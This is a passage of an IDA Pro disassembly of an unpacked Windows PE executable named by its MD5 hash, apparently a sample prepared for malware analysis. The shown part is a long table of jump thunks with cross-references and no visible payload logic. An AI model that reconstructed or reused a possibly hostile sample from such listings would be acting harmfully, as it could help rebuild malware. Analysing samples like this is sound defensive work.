; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : EA4AEA016049F6584F07B926DA2AAC33 ; File Name : u:\work\ea4aea016049f6584f07b926da2aac33_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00112000 (1122304.) ; Section size in file : 00112000 (1122304.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing db 5 dup(0CCh) ; --------------------------------------------------------------------------- jmp loc_430920 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43F09Co jmp loc_412D80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421BF0+29p jmp sub_422150 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_432540 ; --------------------------------------------------------------------------- jmp loc_420EA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004119B3p jmp sub_4119E0 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B29Dp ; ___:0040B2AAp ... jmp sub_403C50 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FB90+34p jmp sub_40B0E0 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404CC0+616p ; sub_404CC0+6D5p ... jmp sub_40A110 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42B3F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_4135E0+3Bp ; ___:00414C00p jmp sub_4156D0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_430B30+6Ep ; sub_430B30+8Ap ... jmp sub_4342D0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:00430212p ; sub_430B30+3Fp ... jmp sub_434150 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423A40 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D210 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B0E0+3Ap ; sub_40B150+1Ap jmp sub_433C70 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E760+37Bp jmp sub_421D30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C1A0+8p jmp sub_40C360 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_432BF0+5Ap ; sub_434A00+50p jmp sub_432BB0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43F07Co jmp sub_41C710 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416FAAp jmp sub_41FCD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40C040+32p jmp sub_40C200 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416FBAp jmp sub_418390 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415920+6Ap ; sub_416380+32p jmp sub_4162C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E760+161p ; sub_4224E0+3p jmp sub_421B50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ADE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421D30+3p ; ___:004220FFp ... jmp sub_422270 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C4E0+43p jmp sub_40CBB0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_4292E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_4075C0+Ap jmp sub_407660 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4246D0+23p ; sub_424870+6p ... jmp sub_4245E0 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_431EF0+F5p ; sub_431EF0+14Fp jmp sub_4340E0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4344C0+C8p jmp sub_431C80 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043F174o jmp sub_42B0B0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43F0A0o jmp loc_41E3C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418430+D0p ; sub_418590+2Dp jmp sub_418B20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_410030+8D9p ; sub_410030+990p ... jmp sub_411930 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:00430626p ; ___:00430694p ... jmp sub_4321F0 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421E50+9p ; sub_422340+18p jmp sub_4224C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40AAD0+58p ; sub_40AAD0+82p ... jmp sub_40ACC0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422B40+3F1p ; ___:00423BA6p ... jmp sub_419BE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416110+7p jmp sub_416740 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415600+5Bp ; sub_415F70+11p ... jmp sub_4161C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_42AF20+58p jmp sub_42AD90 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421970+1Fp jmp sub_421DB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_4220B0+11p ; ___:004220D7p ... jmp sub_4225D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421B30+3p ; ___:00421E9Fp ... jmp sub_422010 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_4144D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_428210+3p jmp sub_428240 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415B00+11p ; ___:00415B27p ... jmp sub_416570 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_434600 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421C60+5p ; sub_421D50+6p ... jmp sub_422250 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416B5Bp ; ___:0043B25Ej ... jmp sub_417B60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404CC0+6Ap ; sub_404CC0+1AFp ... jmp sub_412A40 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43F074o jmp sub_4193C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_432D10+6p ; ___:00432D23p ... jmp sub_430770 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42F6C0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43F15Co jmp loc_42AD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423D9Dp jmp sub_423860 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_433240 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:00415178p jmp sub_415A90 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41BA50+F7p ; sub_41BA50+10Bp ... jmp sub_409F80 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_4099F0+Ap jmp sub_409AE0 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4134A0+55p ; sub_4134A0+94p ... jmp sub_415860 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425100+18Cp ; ___:00425F7Dp jmp sub_4236F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414C8Ep jmp sub_415600 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_4288F0+3p jmp sub_428920 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43F038o jmp loc_4119B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415ED0+11p ; ___:00415EF7p ... jmp sub_4166F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418C10+23p ; sub_418E80+11p jmp sub_418F60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418B90+3p ; sub_418F90+54p ... jmp sub_418DE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_4096E0+6Ap ; sub_4096E0+103p jmp sub_409980 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_433B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413E4Dp jmp sub_413C40 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A2E4p jmp sub_41B0E0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4134A0+88p ; sub_4148A0+BFp ... jmp sub_415A30 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_430770+7p ; sub_4307E0+19p ... jmp sub_434BA0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DBF0 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:0043239Ap jmp sub_431D40 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_407230+11p ; sub_4073C0+1Fp jmp sub_407460 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_403720+3B5p ; sub_403720+3C5p ... jmp sub_403E50 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421D10+3p jmp sub_422290 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C330+Ap jmp sub_40C3F0 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_403720+1Dp ; sub_407080+1Fp ... jmp sub_403CC0 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413344p ; ___:0043AC8Cj ... jmp sub_415490 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42C640+3p jmp sub_42C670 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AFE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414C9Dp jmp sub_414D40 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407660+7p ; sub_409AE0+7p ... jmp sub_407690 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_4135E0+73p ; ___:00414C3Dp ... jmp sub_4156F0 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E760+58p jmp sub_420630 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413E70+84p jmp sub_4138B0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00433718p jmp sub_431060 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_407510+8p jmp sub_4075F0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404CC0+9Fp ; sub_404CC0+230p ... jmp sub_40A510 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A870+21p ; sub_40AAD0+A5p jmp sub_40AAB0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40B050 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A510+129p ; sub_40A8F0+4p ... jmp sub_40A8C0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43F0DCo jmp sub_427940 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004335ADp jmp sub_430D60 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_407340+3p ; ___:0040740Fp ... jmp sub_4074D0 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D930+346p ; sub_41D930+410p ... jmp sub_421970 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421BB0+11p ; sub_4220B0+1Fp jmp sub_4221E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42C7E0+3p jmp sub_42C810 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_4077E0 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C200+5Fp jmp sub_40C3D0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_403530+F6p ; sub_403530+12Ep ... jmp sub_409D10 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E760+113p ; sub_41E760+124p jmp sub_421B30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043F060o jmp sub_41F960 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416BFBp ; ___:0043B1D2j ... jmp sub_4177B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AFA0+Fp jmp sub_431240 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418C10+32p jmp sub_418E80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_434860 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415500+5p ; sub_415710+6p ... jmp sub_416130 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BD90+29p ; sub_40BEB0+29p jmp sub_40C040 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E760+3E9p ; ___:0043C4ABj jmp sub_421BF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4145A0+BFp jmp sub_4152E0 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4165E0+Ap jmp sub_416920 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416C67p ; ___:0043B173j ... jmp sub_4170B0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418430 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416D30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416F1Fp jmp sub_4180D0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414760 ; --------------------------------------------------------------------------- jmp loc_430320 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_410030+387p ; sub_41F030+21Dp ... jmp sub_41B7E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416F5Ap jmp sub_418280 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409570+8p jmp sub_4095C0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_42AD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_4096E0+A5p ; sub_412C90+21p jmp sub_4098F0 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404CC0+382p ; sub_41D930+5AAp jmp sub_41C130 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416E6Fp jmp sub_403720 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418CC0+23p ; sub_418F90+11p jmp sub_4190E0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424920+Cp ; sub_424920+3Ep ... jmp sub_424410 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_430960 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404CC0+85Ap ; sub_404CC0+AD6p ... jmp sub_40A370 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042FE06p ; ___:0042FE56p ... jmp sub_432780 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E760+367p ; sub_41E760+3D4p ... jmp sub_421D80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_427D50+107o jmp sub_427FD0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424800+18p ; sub_424840+Ap ... jmp sub_4247B0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416220+9p ; sub_4162C0+18p jmp sub_4168D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_432570+32o jmp sub_432D70 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42FE50 ; --------------------------------------------------------------------------- jmp loc_419CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_42AD90+67p jmp sub_41FFF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:004301E8p ; sub_4303A0+2p ... jmp sub_431560 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413740+3Fp ; sub_4145A0+40p ... jmp sub_415230 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404690+19Fp ; sub_404690+212p ... jmp sub_409FD0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424F70+B5p ; sub_424F70+F1p jmp sub_424F00 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425100+130p jmp sub_424F70 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416F3Ap jmp sub_418180 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416F0Fp jmp sub_418010 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4316C0+1p jmp sub_431750 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00427201p jmp sub_427740 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418430+71p ; sub_418430+BBp ... jmp sub_418AF0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A180+7p jmp sub_40A1A0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004329C8p ; sub_432A20+2Bp jmp sub_432BF0 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_432570+1p jmp sub_4327B0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4208E0+37Bp jmp sub_421CD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414430+5Bp jmp sub_415100 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_415490+29p ; sub_4155B0+29p jmp sub_416030 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00437232p ; ___:00437242p ... jmp sub_4370F0 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4134A0+5Fp ; sub_4134A0+9Ep ... jmp sub_415A60 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B600+62p ; ___:0040BAC8p ... jmp sub_40BF40 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4313B0 ; --------------------------------------------------------------------------- jmp loc_42FF30 ; --------------------------------------------------------------------------- loc_40134D: ; DATA XREF: ___:0043F1A8o jmp loc_42C690 ; --------------------------------------------------------------------------- jmp loc_42C5D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416190+8p jmp sub_4167B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4134A0+71p ; sub_4134A0:loc_41356Cp ... jmp sub_415A10 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418430+AFp ; sub_4190E0+3p jmp sub_418BB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043F104o jmp sub_427D50 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B600+39p ; sub_40B600+78p ... jmp sub_40BF70 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_426A90+29p ; sub_426A90+38p jmp sub_4269A0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A600+1Cp jmp sub_41A640 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043F164o jmp sub_42AF20 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408C9Ap ; ___:00414551p jmp sub_414300 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418590+72p jmp sub_406C80 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409E00+7p ; sub_409F50+7p ... jmp sub_40A7E0 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43F080o jmp sub_422B40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413BB0 ; --------------------------------------------------------------------------- jmp sub_42C640 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418A00+11p ; sub_421DB0+1Fp jmp sub_418D50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C5C0 loc_4013A2: ; CODE XREF: sub_42C5C0+3j jmp sub_42BB00 ; END OF FUNCTION CHUNK FOR sub_42C5C0 ; --------------------------------------------------------------------------- jmp sub_42C7E0 ; --------------------------------------------------------------------------- jmp loc_42FEA0 ; --------------------------------------------------------------------------- jmp loc_414B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_4072E0+1Fp jmp sub_4073C0 sub_4013B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013BB proc near ; CODE XREF: sub_4257F0+47Fp jmp sub_4253C0 sub_4013BB endp ; --------------------------------------------------------------------------- jmp loc_42FAA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C5 proc near ; CODE XREF: sub_40FE40+3p ; ___:00416BEBp ... jmp sub_40FE70 sub_4013C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CA proc near ; CODE XREF: sub_426560+Cp ; sub_4266D0+Ap ... jmp sub_426520 sub_4013CA endp ; --------------------------------------------------------------------------- jmp loc_40D3C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE XREF: sub_4253C0+E9p ; 